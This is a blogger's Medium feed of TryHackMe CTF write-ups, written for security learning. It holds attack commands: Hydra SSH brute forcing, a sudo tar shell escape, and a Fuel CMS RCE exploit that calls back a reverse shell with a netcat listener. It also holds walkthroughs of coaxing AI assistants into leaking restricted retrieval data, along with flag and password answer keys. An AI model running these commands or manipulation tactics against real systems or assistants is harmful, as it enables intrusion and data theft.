<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shahzadamiad on Medium]]></title>
        <description><![CDATA[Stories by Shahzadamiad on Medium]]></description>
        <link>https://medium.com/@shahzadamiad320?source=rss-d23335447200------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*k3zWbleIWbRitlfDrhmRLA.jpeg</url>
            <title>Stories by Shahzadamiad on Medium</title>
            <link>https://medium.com/@shahzadamiad320?source=rss-d23335447200------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 22:42:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shahzadamiad320/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Bounty Hacker — Complete CTF Walkthrough]]></title>
            <link>https://medium.com/@shahzadamiad320/tryhackme-bounty-hacker-complete-ctf-walkthrough-47ae75cba131?source=rss-d23335447200------2</link>
            <guid isPermaLink="false">https://medium.com/p/47ae75cba131</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Shahzadamiad]]></dc:creator>
            <pubDate>Thu, 26 Nov 2026 06:17:18 GMT</pubDate>
            <atom:updated>2026-11-26T06:17:18.297Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Room:</strong> Bounty Hacker<br><strong>Platform:</strong> TryHackMe<br><strong>Difficulty:</strong> Easy<br><strong>Target IP:</strong> 10.48.162.190<br><strong>Category:</strong> Network Enumeration, FTP, SSH Brute Force, Linux Privilege Escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*afqjl_d2KXnrCYwov8v5Cg.png" /></figure><h3>Introduction</h3><p>Every CTF challenge has its own way of testing your problem-solving skills. Some require extensive enumeration, while others hide their vulnerabilities in seemingly ordinary services. The <strong>Bounty Hacker</strong> room on TryHackMe is a good example of how basic enumeration techniques, a little patience, and knowledge of Linux privilege escalation can lead to complete system compromise.</p><p>In this challenge, I started with a simple web page, discovered an anonymous FTP service, collected some interesting files, and used their contents to obtain SSH credentials. After gaining access to the target machine, I retrieved the user flag and eventually escalated my privileges to root.</p><p>In this write-up, I’ll walk through the entire process, from the initial scan to capturing the final flag.</p><p><strong>Let’s get started!</strong></p><h3>1. Initial Reconnaissance</h3><p>After launching the Bounty Hacker machine on TryHackMe, I received the target IP address:</p><p>10.48.162.190</p><p>My first step was to open Firefox in my Kali Linux machine and navigate to the target IP address.</p><p>The website displayed an animated cartoon along with a conversation between four characters: Spike, Jet, Ed, and Faye.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j1nI3tshnPkWZ2WWJKnz8w.png" /></figure><p>At first glance, it looked like ordinary website content. However, during CTF challenges, even small details can become useful during enumeration.</p><p>I decided to collect the names displayed on the webpage and save them in a file called users.txt. This file would later serve as a potential username list.</p><p>I created the file using:</p><pre>nano users.txt</pre><p>Then I added the following names:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fWrdqIt3dBekNvCHYgNo0Q.png" /></figure><pre>spike<br>jet<br>ed<br>faye</pre><p>With the initial information collected, it was time to investigate the services running on the target.</p><h3>2. Scanning Open Ports with Nmap</h3><p>The next step was to identify open ports and determine which services were running on the target machine.</p><p>For this, I used Nmap with service version detection and default script scanning:</p><pre>nmap -sV -sC 10.48.162.190</pre><p>The -sV option identifies service versions, while -sC runs a collection of default NSE scripts to gather additional information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6pMsgNnLhgK2vr2EDnot5w.png" /></figure><p>The scan revealed several open ports. One finding immediately caught my attention: <strong>the FTP service allowed anonymous login</strong>.</p><p>Anonymous FTP access can sometimes expose files that are not intended to be publicly accessible. This made FTP the next logical place to investigate.</p><h3>3. Accessing the FTP Server</h3><p>To connect to the FTP service, I used:</p><pre>ftp 10.48.162.190</pre><p>The server prompted me for a username. Since the Nmap scan indicated that anonymous authentication was permitted, I entered:</p><pre>Name: anonymous</pre><p>Fortunately, the login was successful, and I gained access to the FTP server without needing a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HES38i_9mv0ERkzyaQ4mew.png" /></figure><p>Once connected, I listed the available files:</p><pre>ls</pre><p>The server revealed two interesting text files:</p><pre>locks.txt<br>task.txt</pre><p>Both files looked potentially useful, so I decided to download them to my local Kali machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJhe6SWK7eGCukMJ6I3uDQ.png" /></figure><p>I used the following command:</p><pre>mget *</pre><p>FTP asked for confirmation before downloading each file. I entered yes for both locks.txt and task.txt.</p><p>After the downloads were complete, I exited the FTP session:</p><pre>bye</pre><p>Back in my local terminal, I checked the downloaded files:</p><pre>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5QnOzHL1PhhWQPSojIBDBg.png" /></figure><p>Both files were now available on my machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p01TlWrjCFR3hbopTlGJ_Q.png" /></figure><h3>4. Discovering the Username and Password List</h3><p>With the files downloaded, I started examining their contents.</p><p>First, I opened task.txt:</p><pre>less task.txt</pre><p>The file contained a short task list and revealed an important piece of information: the name <strong>lin</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OI7hsl1LVdxl_XsccshKw.png" /></figure><p>This was the answer to the first question:</p><p><strong>Who wrote the task list?</strong></p><p>The answer was:</p><pre>lin</pre><p>I added this username to my existing users.txt file because it could be a valid account on the target machine.</p><p>Next, I examined the other file:</p><pre>less locks.txt</pre><p>Unlike task.txt, this file contained a list of possible passwords.</p><p>At this point, I had two important pieces of information:</p><ul><li>A potential username: lin</li><li>A list of possible passwords: locks.txt</li></ul><p>The next step was to determine whether these credentials could be used to access another service.</p><h3>5. Brute-Forcing SSH with Hydra</h3><p>The Nmap scan had revealed that SSH was running on the target machine.</p><p>Since I now had a username list and a password list, I decided to use Hydra to test the credentials against the SSH service.</p><p>I executed:</p><pre>hydra ssh://10.48.162.190 -L users.txt -P locks.txt</pre><p>Here’s what the options mean:</p><ul><li>ssh://10.48.162.190 specifies the target SSH service.</li><li>-L users.txt provides a list of possible usernames.</li><li>-P locks.txt provides a list of possible passwords.</li></ul><p>Hydra began testing different username and password combinations.</p><p>After the attempts completed, it successfully identified valid SSH credentials.</p><p>&lt;pre&gt; Username: lin Password: RedDr4gonSynd1cat3 &lt;/pre&gt;</p><p>This was the breakthrough I needed.</p><p>The password was also the answer to the third question in the challenge.</p><p><strong>What is the user’s password?</strong></p><pre>RedDr4gonSynd1cat3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qp8A1K2AqkcypeTDeSaC6g.png" /></figure><h3>6. Gaining Access Through SSH</h3><p>With valid credentials in hand, I could finally access the target machine through SSH.</p><p>I used:</p><pre>ssh lin@10.48.162.190</pre><p>When prompted for the password, I entered:</p><pre>RedDr4gonSynd1cat3</pre><p>The authentication was successful, and I obtained a shell as the user lin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*svN0wHUVQh6oLmp83dbyUg.png" /></figure><p>After logging in, I listed the files in the current directory:</p><pre>ls</pre><p>I found a file named:</p><pre>user.txt</pre><p>Naturally, I opened it:</p><pre>cat user.txt</pre><p>The file revealed the first flag:</p><pre>THM{CR1M3_SyNd1C4T3}</pre><p>User Flag: THM{CR1M3_SyNd1C4T3}</p><p>With the user flag captured, there was only one objective left: obtaining root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gHp3fM-SStk4V7ZsNvz01w.png" /></figure><h3>7. Privilege Escalation to Root</h3><p>Having gained a foothold as lin, I started looking for possible privilege escalation opportunities.</p><p>One of the first commands I usually run after obtaining a Linux shell is:</p><pre>sudo -l</pre><p>This command checks which commands the current user is permitted to execute through sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yPMEEJ5xL0QN46yOsqK6og.png" /></figure><p>The output indicated that the available privilege escalation opportunity involved the tar binary with elevated privileges.</p><p>This was particularly interesting because certain versions and configurations of tar can be abused to execute arbitrary commands through its checkpoint functionality.</p><p>I searched for a suitable technique and found a relevant entry on <strong>GTFOBins</strong>, a useful resource for identifying ways to exploit Unix binaries in privilege escalation scenarios.</p><p>The technique involved using tar checkpoint options to execute a shell.</p><p>I ran the following command:</p><pre>sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh</pre><p>Here’s a quick breakdown:</p><ul><li>sudo executes the command with elevated privileges.</li><li>tar is the binary being used.</li><li>cf /dev/null /dev/null creates an archive targeting /dev/null.</li><li>--checkpoint=1 triggers a checkpoint after one record.</li><li>--checkpoint-action=exec=/bin/sh executes /bin/sh when the checkpoint is reached.</li></ul><p>Because the command was executed with elevated privileges, the resulting shell provided root-level access.</p><p>This was the critical step that allowed me to move beyond the restricted lin account.</p><h3>8. Capturing the Root Flag</h3><p>After successfully obtaining the elevated shell, I moved to the root directory:</p><pre>cd /root</pre><p>I listed its contents:</p><pre>ls</pre><p>There it was: the final flag file.</p><p>I opened it using:</p><pre>cat root.txt</pre><p>The output revealed the final flag:</p><pre>THM{80UN7Y_h4cK3r}</pre><p>Root Flag: THM{80UN7Y_h4cK3r}</p><p><strong>Root access achieved!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6cG73RstOXJf2Aewd5xGFQ.png" /></figure><h3>9. Answers to the TryHackMe Questions</h3><p>Here are all the answers collected throughout the challenge:</p><ol><li>who wrote task list?</li></ol><p>ans:lin</p><ol><li>What service can you bruteforce with the text file found?</li></ol><p>ans:ssh</p><p>3.What is the user’s password?</p><p>ans:RedDr4gonSynd1cat3</p><p>4.What is the user flag?</p><p>ans:THM{CR1M3_SyNd1C4T3}</p><p>5.What is the root flag?</p><p>ans:THM{80UN7Y_h4cK3r}</p><p>10. Conclusion</p><p>The Bounty Hacker room was a great exercise in understanding how seemingly small security weaknesses can combine to compromise an entire Linux machine.</p><p>The most important lesson from this challenge is that <strong>information gathered during enumeration can become the key to gaining access</strong>.</p><p>An anonymous FTP service exposed two files. Those files provided a username and a password list. Hydra helped identify valid SSH credentials, and a misconfigured privilege escalation opportunity involving tar eventually provided root access.</p><p>The complete attack path was:</p><pre>Initial Reconnaissance<br>        |<br>        v<br>Nmap Port Scanning<br>        |<br>        v<br>Anonymous FTP Access<br>        |<br>        v<br>Download locks.txt and task.txt<br>        |<br>        v<br>Discover Username: lin<br>        |<br>        v<br>SSH Brute Force with Hydra<br>        |<br>        v<br>SSH Login<br>        |<br>        v<br>Capture User Flag<br>        |<br>        v<br>Sudo Privilege Escalation via tar<br>        |<br>        v<br>Root Access<br>        |<br>        v<br>Capture Root Flag</pre><p>This room reinforced the importance of methodical enumeration, identifying exposed services, analyzing accessible files, and understanding Linux privilege escalation techniques.</p><p>If you’re currently learning penetration testing or preparing for more advanced TryHackMe rooms, Bounty Hacker is a useful challenge for practicing these fundamentals.</p><p><strong>Happy Hacking! 🚀</strong></p><p><em>Disclaimer: This walkthrough documents techniques used in an authorized TryHackMe CTF environment. Never perform brute-force attacks or privilege escalation attempts against systems without explicit permission.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47ae75cba131" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Ignite | CTF Write-up]]></title>
            <link>https://medium.com/@shahzadamiad320/tryhackme-ignite-ctf-write-up-666861643042?source=rss-d23335447200------2</link>
            <guid isPermaLink="false">https://medium.com/p/666861643042</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Shahzadamiad]]></dc:creator>
            <pubDate>Fri, 06 Nov 2026 05:02:20 GMT</pubDate>
            <atom:updated>2026-11-06T05:02:20.262Z</atom:updated>
            <content:encoded><![CDATA[<p>Rooted</p><p>Platform: TryHackMe</p><p>Target Machine: Ignite</p><p>Target IP: 10.49.145.186</p><p>Attacker IP: 10.49.102.253</p><p>Target Port: 4444</p><h3>1. Enumeration and Initial Reconnaissance</h3><p>First, I deployed the Ignite machine on TryHackMe and obtained its IP address:</p><pre>10.49.145.186</pre><p>I opened a web browser on my attacker machine and navigated to the target IP address.</p><p>The website displayed a Fuel CMS application. After inspecting the website, I identified the CMS as Fuel CMS version 1.4.</p><p><a href="https://images.openai.com/static-rsc-4/nsicYwL6KTv2QBcm0b3Ql8_sD9EC9tZ_KwGt8XLDs3xISnCJrvLmjW9HPnXGzr3iPr0JlTbx5W0M6ee9Qq82nCYcUGXsOsLXMYT2tO9b0y5HYoixuSPl7jYg6fhtghdGoBC3_nwu02bn04IZsxJovYnXh8IOPIY94jccosyr0W0?purpose=inline">Ignite TryHackMe WriteUp/Walkthrough | by xer | Medium</a></p><p><a href="https://medium.com/%40x3r/ignite-tryhackme-writeup-walkthrough-39463dde2895?utm_source=chatgpt.com">medium.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkFh5NsMiJbQbFZJmQW2lg.png" /></figure><h3>2. Vulnerability Identification</h3><p>After identifying the CMS, I searched for publicly known vulnerabilities affecting Fuel CMS.</p><p>I used Exploit Database to search for available exploits and discovered a Remote Code Execution (RCE) vulnerability affecting Fuel CMS 1.4.8.</p><p>This vulnerability could potentially allow an attacker to execute arbitrary commands on the target server.</p><p>Since the target was running an older version of Fuel CMS, I decided to investigate and test the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8xrHePdbIdusq5q7bH34sw.png" /></figure><h3>3. Exploitation — Gaining Initial Access</h3><p>After obtaining the exploit script (fuel_updated.py), I executed it using Python 3 with the target IP, attacker IP, and listener port as arguments.</p><pre>python3 fuel_updated.py http://10.49.145.186 10.49.102.253 4444</pre><p>Before executing the exploit, I started a Netcat listener on my attacker machine:</p><pre>nc -nvlp 4444</pre><p>After successfully executing the exploit, I received a reverse shell connection from the target machine.</p><p>This provided me with initial access to the compromised server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vwuJqYgk1xOIInkgJdTH8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6c9EN0A8OhEV7of3NdbWOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2hmwq9s_oBSthn-SxYZwZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*1NmXipCrlTIZrmfRRd4nHw.png" /></figure><h3>4. Shell Stabilization</h3><p>The initial reverse shell was not fully interactive. To improve shell functionality, I used Python’s PTY module to spawn a more interactive Bash shell.</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>This provided a more stable interactive shell, making further enumeration easier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQam2mXg-wBa8M_qkSwp6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AfTJH_HUbam6BgEZfbmWbQ.png" /></figure><h3>5. User Flag Discovery</h3><p>After obtaining an interactive shell, I executed the following command to inspect the current directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fg61iAeQ7xzzRy4pHK_RLg.png" /></figure><pre>ls</pre><p>During the enumeration process, I discovered the user flag at:</p><pre>/home/www-data/flag.txt</pre><p>I retrieved the flag using:</p><pre>cat /home/www-data/flag.txt</pre><p>User Flag Captured</p><h3>6. Privilege Escalation Enumeration</h3><p>After obtaining the user flag, I started investigating possible privilege escalation vectors.</p><p>I used the following command to search for files with the SUID permission bit:</p><pre>find / -perm -4000 -type f 2&gt;/dev/null</pre><p>This command searches the filesystem for SUID-enabled files, which can sometimes be exploited to escalate privileges.</p><p>I then navigated to the web application’s directory:</p><pre>cd /var/www/html</pre><p>After listing the available files and directories, I explored the data_backup directory and continued inspecting the application&#39;s configuration files.</p><h3>7. Database Credential Discovery</h3><p>During further enumeration, I navigated to the configuration directory:</p><pre>cd config</pre><p>I listed its contents:</p><pre>ls</pre><p>Among the available files, I discovered an interesting configuration file named:</p><pre>database.php</pre><p>I inspected the file using:</p><pre>cat database.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*76GU-vY9vciz6pW8BIPLdQ.png" /></figure><p>The file contained database configuration information, including a username and password.</p><p>These credentials appeared to be useful for further privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZMQZa11QEDtQMFj9NNTHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDP4cfwakjHe7JbKrs5c0A.png" /></figure><h3>8. Privilege Escalation — Root Access</h3><p>After discovering the credentials in the database configuration file, I attempted to switch to the root account using:</p><pre>su root</pre><p>When prompted, I entered the password discovered in the configuration file.</p><p>The authentication was successful, and I obtained root-level access to the target machine.</p><p>Root Access Obtained</p><h3>9. Root Flag Discovery</h3><p>After successfully switching to the root account, I explored the filesystem and searched for the root flag.</p><p>I discovered the root.txt file containing the final flag.</p><p>This confirmed that I had successfully completed the Ignite CTF machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lP79-dRdEHfpo2Y4VZ71hA.png" /></figure><h3>10. Conclusion</h3><p>In this challenge, I successfully compromised a Fuel CMS application by exploiting a Remote Code Execution vulnerability.</p><p>After obtaining an initial reverse shell, I stabilized the shell and retrieved the user flag. I then performed privilege escalation enumeration and discovered database credentials in the application’s configuration file.</p><p>By reusing the discovered credentials, I successfully authenticated as the root user and retrieved the root flag.</p><p>This challenge demonstrated the importance of:</p><ul><li>Keeping CMS applications and their components updated.</li><li>Identifying and mitigating publicly known vulnerabilities.</li><li>Protecting sensitive credentials stored in configuration files.</li><li>Avoiding password reuse between database and system accounts.</li><li>Properly restricting access to sensitive application directories and files.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=666861643042" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Unindexed Walkthrough: Exploiting Atlas AI Retrieval Boundaries]]></title>
            <link>https://medium.com/@shahzadamiad320/tryhackme-unindexed-walkthrough-exploiting-atlas-ai-retrieval-boundaries-8cd6cece7dd0?source=rss-d23335447200------2</link>
            <guid isPermaLink="false">https://medium.com/p/8cd6cece7dd0</guid>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Shahzadamiad]]></dc:creator>
            <pubDate>Fri, 28 Aug 2026 09:26:29 GMT</pubDate>
            <atom:updated>2026-08-28T09:26:29.874Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Unindexed | CTF Write-up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cf8LQItG5sQPLpzQ95m3qg.png" /></figure><h3>Introduction</h3><p>In this challenge, we are given access to an internal AI assistant called <strong>Atlas</strong>, which is used by Cloudwright Labs employees.</p><p>According to the description, Atlas is only supposed to provide normal employee information, such as onboarding documentation, expense policies, and on-call schedules.</p><p>But there is a catch.</p><p>There are signs that Atlas might also have access to much more sensitive information, including internal project documents, board-level information, and even infrastructure credentials.</p><p>So the goal here is pretty straightforward: interact with Atlas, figure out what it can actually access, and see if we can retrieve the flag.</p><h3>Starting With Atlas</h3><p>I started by asking Atlas some general questions to get a feel for how it worked.</p><p>I didn’t want to jump straight into asking for the flag. Instead, I wanted to see what kind of information it was willing to provide and whether I could get it to talk about things outside the normal employee information mentioned in the challenge.</p><p>After a bit of interaction, I decided to ask about one of the internal projects.</p><h3>Asking About the Monday Project</h3><p>The first interesting question I asked was:</p><blockquote><strong><em>What is the project of Monday?</em></strong></blockquote><p>Atlas actually answered the question and gave me information about the project.</p><p>This immediately caught my attention.</p><p>The challenge description says Atlas is supposed to provide things like onboarding guides, expense policies, and on-call schedules. So being able to get information about an internal project suggested that Atlas had access to a much larger knowledge base than I was supposed to have access to.</p><p>At this point, I knew I was probably looking at a retrieval or access-control issue.</p><h3>Getting the Flag</h3><p>Since Atlas had already revealed information about the project, I tried to use that information to get the flag.</p><p>I asked Atlas to suggest a flag that I could use to start the project.</p><p>It didn’t give me the actual flag straight away.</p><p>Instead of giving up, I tried being more specific about what I was looking for. I told Atlas that the flag would be in the usual TryHackMe format:</p><pre>THM{...}</pre><p>That did the trick.</p><p>Atlas responded with:</p><pre>THM{r3tri3v4l_h4s_n0_b0und4r13s}</pre><p>And that’s all we needed to complete the challenge.</p><h3>Flag</h3><pre>THM{r3tri3v4l_h4s_n0_b0und4r13s}</pre><p>The flag itself is a pretty good description of what went wrong:</p><p><strong>retrieval_has_no_boundaries</strong></p><h3>What Was the Issue?</h3><p>The interesting part of this challenge isn’t really the flag itself. It’s the way Atlas was able to provide information that should have been outside a normal employee’s access.</p><p>Atlas appears to be connected to a knowledge base containing different types of internal information. The problem is that the retrieval process doesn’t seem to properly check whether the current user is actually allowed to access the requested information.</p><p>This is a common concern with AI applications that use <strong>RAG (Retrieval-Augmented Generation)</strong>.</p><p>Imagine an employee doesn’t have permission to open a confidential document directly. If the company’s AI assistant can access that document and answer questions about it, the employee may still be able to obtain the information indirectly through the AI.</p><p>That’s effectively what we’re testing here.</p><p>The AI model itself shouldn’t be responsible for deciding whether a user is allowed to access a document. The application should check the user’s permissions <strong>before retrieving the document</strong> and sending it to the model.</p><p>A safer design would look something like:</p><pre>User<br>  ↓<br>Authentication<br>  ↓<br>Authorization<br>  ↓<br>Retrieve only permitted documents<br>  ↓<br>AI Model<br>  ↓<br>Response</pre><p>If the authorization step is missing or incorrectly implemented, the AI can potentially expose information that the user should never have been able to retrieve.</p><h3>Conclusion</h3><p>The <strong>Unindexed</strong> room was a nice example of how an AI assistant can become an unexpected source of sensitive information.</p><p>I started by interacting with Atlas normally and then asked:</p><blockquote><strong><em>What is the project of Monday?</em></strong></blockquote><p>The fact that Atlas could answer this already showed that its knowledge went beyond the supposedly public employee information.</p><p>I then asked it to suggest a flag for the project. It didn’t initially reveal the real flag, but after specifying that the flag would follow the THM{...} format, Atlas returned:</p><pre>THM{r3tri3v4l_h4s_n0_b0und4r13s}</pre><p>The main lesson from this challenge is that <strong>retrieval access control is just as important as the AI model itself</strong>. If an AI assistant has access to sensitive internal data, those permissions need to be enforced before the data ever reaches the model.</p><p>That’s what makes this vulnerability interesting: the user doesn’t necessarily need direct access to the sensitive data when the AI can retrieve it on their behalf.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8cd6cece7dd0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Lockdown CTF Write-Up: Breaking Bastion’s Security Controls]]></title>
            <link>https://medium.com/@shahzadamiad320/tryhackme-lockdown-ctf-write-up-breaking-bastions-security-controls-ff295f9b5a4d?source=rss-d23335447200------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff295f9b5a4d</guid>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Shahzadamiad]]></dc:creator>
            <pubDate>Mon, 24 Aug 2026 12:36:34 GMT</pubDate>
            <atom:updated>2026-08-24T12:36:34.885Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dqjWamwgLLF0uxpIy0UhPQ.png" /></figure><p>The objective of the TryHackMe Lockdown challenge is to audit an internal AI assistant named Bastion, which is used by the Meridian Security Group to assist employees with security policies and operational questions. The challenge focuses on identifying three security vulnerabilities in Bastion’s configuration, understanding the reasons behind each vulnerability, and providing specific security controls to remediate them. The investigation begins by interacting directly with Bastion. The first step is to determine what information the assistant can access and whether it properly enforces access boundaries. The challenge provides several commands to facilitate this investigation: — **SHOW LOGS** — Used to examine Bastion’s logging behavior and determine whether sensitive operations are being recorded adequately. — **QUERY AS: [any name]** — Used to test whether Bastion correctly isolates data between different users or tenants. — **STATUS** — Used at any point to check the current progress of the challenge. A key aspect of the challenge is that simply identifying a vulnerability is insufficient. Bastion requires a precise description of the security control that should be implemented to resolve the issue. Generic recommendations like “improve security” or “add access control” will not be accepted. Each successfully remediated vulnerability reveals a fragment of a flag. After identifying and fixing all three vulnerabilities, combine these fragments to obtain the complete flag. **Key Objectives:** 1. Determine what data Bastion can access. 2. Investigate its logging and auditing behavior. 3. Test tenant/user isolation using impersonation-style queries. 4. Identify the three configuration vulnerabilities. 5. Diagnose the root cause of each vulnerability. 6. Provide the exact security control required for remediation. 7. Collect all three flag fragments and combine them to form the final flag. Overall, Lockdown is an access control and AI security auditing challenge that emphasizes the importance of proper authorization boundaries, tenant isolation, security logging, and precise remediation controls rather than merely discovering vulnerabilities.</p><p>Now let&#39;s dive into the question</p><p>1. What is the first flag fragment after fixing the data retrieval vulnerability?</p><p>Ans:THM{l0ck_</p><p>2. What is the second flag fragment after fixing the logging vulnerability?</p><p>Ans:d0wn_</p><p>3. What is the third flag fragment after securing user-level access?</p><p>Ans:s3cur3d}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff295f9b5a4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Checkpoint — TryTrainMe Model Supply Chain Challenge: TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@shahzadamiad320/checkpoint-trytrainme-model-supply-chain-challenge-tryhackme-walkthrough-06b1ef492b2f?source=rss-d23335447200------2</link>
            <guid isPermaLink="false">https://medium.com/p/06b1ef492b2f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <dc:creator><![CDATA[Shahzadamiad]]></dc:creator>
            <pubDate>Sat, 22 Aug 2026 09:21:01 GMT</pubDate>
            <atom:updated>2026-08-25T21:18:41.825Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UH28icrSZ1F_F__I0-CL2A.png" /></figure><h4>The Scenario</h4><p><strong>Room: Checkpoint</strong></p><p>TryTrainMe’s CISO had issued a standing order: no model reaches production without completing a full sandboxed evaluation cycle. On the surface, this challenge looks like a routine AI model security review — four code review model candidates submitted to a platform called SupplySecLab, each evaluated against the same test case: a pull request that quietly removes input validation from an authentication endpoint.</p><p>Automated screening had already flagged three of the four candidates as unsafe. The task set before me was simple on its face: assess the fourth candidate, Candidate A, and make the production call.</p><p>But the real challenge here isn’t code review quality. It’s <strong>model supply chain security</strong> — and more specifically, whether an AI agent can be steered into rubber-stamping a decision based on evidence it never actually verified.</p><h4>Setting the Stage</h4><p>Before touching Candidate A, I had telemetry logs for the other three candidates:</p><ul><li><strong>Candidate B</strong> (code_reviewer_lite.safetensors) — a clean load in a safe, non-executable weights format, guardrails enabled, correctly flagged the vulnerable PR.</li><li><strong>Candidate C</strong> (pr_analyzer_v3.h5) — a Keras file containing an embedded Lambda layer with live exec() code, a textbook arbitrary-code-execution risk baked into the model file itself, independent of anything about its review output.</li><li><strong>Candidate D</strong> (api.reviewsvc.io) — a remote API-based model with undisclosed provenance, no compliance certification, and a prompt pipeline that&#39;s explicitly &quot;not inspectable&quot; — and which still approved a PR that stripped input validation from an auth endpoint.</li></ul><p>Three very different failure modes: an unsafe <em>file format</em>, an unsafe <em>supply chain</em>, and an unsafe <em>decision</em> dressed up in valid TLS and a bearer token.</p><p>The setup nudges toward a fourth log, for Candidate A, arriving via an “Open Agent” button — streaming telemetry directly into the evaluation session. That’s worth pausing on before diving in: <strong>the prompt itself is part of the attack surface.</strong> A well-designed eval pipeline shouldn’t let streamed, unverified telemetry — or a persuasive narrative wrapped around it — substitute for independent verification before a production ship decision gets made.</p><p>Now lets dive into the question</p><p>1.Candidate A’s load session shows a suspicious file access event. What file did it attempt to read?</p><p>Ans:/etc/passwd</p><p>2.What security guardrail flag is disabled in Candidate A’s inference session?</p><p>Ans:security_review_flag</p><p>3.Query Candidate A’s agent to find out which policy template governs its review behaviour. What is the policy template?</p><p>Ans:CommunityReview</p><p>4.Candidate A’s two supply chain failures are not independent. Find what links them and use it to retrieve the flag. What is the flag?</p><p>Ans:THM{supp1y_ch41n_0wn3d}</p><p>5.Based on your full assessment of all four candidates, what is your production recommendation for Candidate A? <em>Enter: Approve or Reject</em>5.</p><p>Ans:Reject</p><p>6.Which candidate would you approve for production deployment?</p><p>Ans:B</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06b1ef492b2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
